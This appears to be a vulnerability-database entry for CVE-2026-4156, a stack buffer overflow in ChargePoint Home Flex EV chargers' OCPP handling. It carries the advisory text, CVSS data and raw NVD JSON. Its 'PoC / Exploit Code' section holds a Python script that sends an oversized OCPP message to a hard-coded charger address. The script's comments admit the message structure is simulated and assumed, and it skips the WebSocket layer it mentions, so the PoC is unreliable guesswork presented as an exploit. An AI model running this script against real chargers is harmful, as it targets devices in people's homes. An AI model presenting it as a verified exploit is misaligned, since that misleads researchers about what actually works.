Security Vulnerability Report
中文
CVE-2026-4156 CVSS 7.5 HIGH

CVE-2026-4156

Published: 2026-04-11 01:16:17
Last Modified: 2026-04-27 17:42:37

Description

ChargePoint Home Flex OCPP getpreq Stack-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of ChargePoint Home Flex EV chargers. Authentication is not required to exploit this vulnerability. The specific flaw exists within the handling of OCPP messages. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-26339.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:chargepoint:home_flex_cph50_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:chargepoint:home_flex_cph50:-:*:*:*:*:*:*:* - NOT VULNERABLE
ChargePoint Home Flex (具体受影响版本请参考厂商公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket # Target IP of the ChargePoint Home Flex target_ip = "192.168.1.10" target_port = 80 # Typical port for OCPP over WebSocket # Generate payload to trigger Stack-based Buffer Overflow # The specific length depends on the buffer size, this is an example buffer_size = 600 payload = b"A" * buffer_size # Construct malicious OCPP message (Simulated structure) # Assuming the vulnerability is triggered in the 'getpreq' handler malicious_msg = b"[2,\"unique_id\",\"GetPreReq\",{\"data\":\"" + payload + b"\"}]" try: # Establish connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Send malicious payload s.send(malicious_msg) print("[+] Payload sent successfully.") s.close() except Exception as e: print(f"[-] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4156", "sourceIdentifier": "[email protected]", "published": "2026-04-11T01:16:17.360", "lastModified": "2026-04-27T17:42:36.723", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ChargePoint Home Flex OCPP getpreq Stack-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of ChargePoint Home Flex EV chargers. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the handling of OCPP messages. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-26339."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:chargepoint:home_flex_cph50_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.5.4.22", "matchCriteriaId": "F5D6BCAE-C598-4884-ADB5-45B272220C2A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:chargepoint:home_flex_cph50:-:*:*:*:*:*:*:*", "matchCriteriaId": "2A6709D3-36B1-4027-82ED-144875049704"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-196/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}